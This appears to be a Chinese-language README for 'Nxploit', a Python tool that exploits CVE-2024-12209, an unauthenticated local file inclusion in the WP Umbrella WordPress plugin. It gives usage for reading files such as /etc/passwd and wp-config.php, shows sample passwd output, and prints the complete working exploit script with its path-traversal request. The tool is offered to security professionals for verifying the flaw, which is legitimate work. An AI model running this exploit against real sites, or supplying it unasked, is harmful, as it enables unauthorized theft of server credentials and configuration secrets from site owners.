Nxploit: WP Umbrella LFI 漏洞利用工具
Nxploit 是一个轻量级的命令行工具,专门用于检测和利用 WP Umbrella WordPress 插件(版本 2.17.0 及以下)中存在的未经身份验证的本地文件包含漏洞(CVE-2024-12209)。该项目旨在帮助安全专业人员快速验证目标系统的脆弱性,并安全地评估潜在风险。
功能特性
- 单一目标利用:针对特定 URL 执行漏洞测试。
- 未认证访问:无需 WordPress 后台登录凭证即可操作。
- 任意文件读取:利用路径遍历漏洞读取服务器上的敏感文件。
- 简单易用:通过命令行参数快速指定目标和文件路径,即时获取结果。
安装指南
系统要求
- Python 3.x
requests库
安装步骤
- 确保您的系统已安装 Python 3 和 pip。
- 安装所需的 Python 依赖库:
pip install requests - 克隆或下载本项目代码到本地。
使用说明
该工具通过命令行运行,需要提供目标 URL 和要读取的文件路径两个参数。
基础用法
python nxploit.py http://target-site.com /etc/passwd
参数说明
url:目标站点的完整 URL(例如http://example.com)。file:目标服务器上要读取的文件路径(例如etc/passwd或wp-config.php)。
示例输出
[+] file content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
核心代码
以下为核心利用逻辑,通过构建特定的 URL 参数触发文件包含漏洞并获取响应内容。
import requests
import argparse
def exploit(url, file_path):
# 构建包含路径遍历的恶意URL
exploit_url = f"{url}/?umbrella-restore=1&filename=../../../../../../{file_path}"
try:
response = requests.get(exploit_url, timeout=10)
if response.status_code == 200:
print("\n [+] file content:\n")
print(response.text)
else:
print(f"[-] failed to read the file. HTTP status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Error unable to connect to the target details{e}")
except Exception as e:
print(f"[-] unexpected Error {e}")
def main():
parser = argparse.ArgumentParser(description= "WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - \nUnauthenticated Local File Inclusion")
parser.add_argument("url", help="Target site URL (e.g, http://example.com)")
parser.add_argument("file", help="path of the file read (e.g., etc/passwd)")
args = parser.parse_args()
print("")
exploit(args.url, args.file)
if __name__ == "__main__":
main()
6HFtX5dABrKlqXeO5PUv/xnxulvuDPzfrStIgdW1yUk=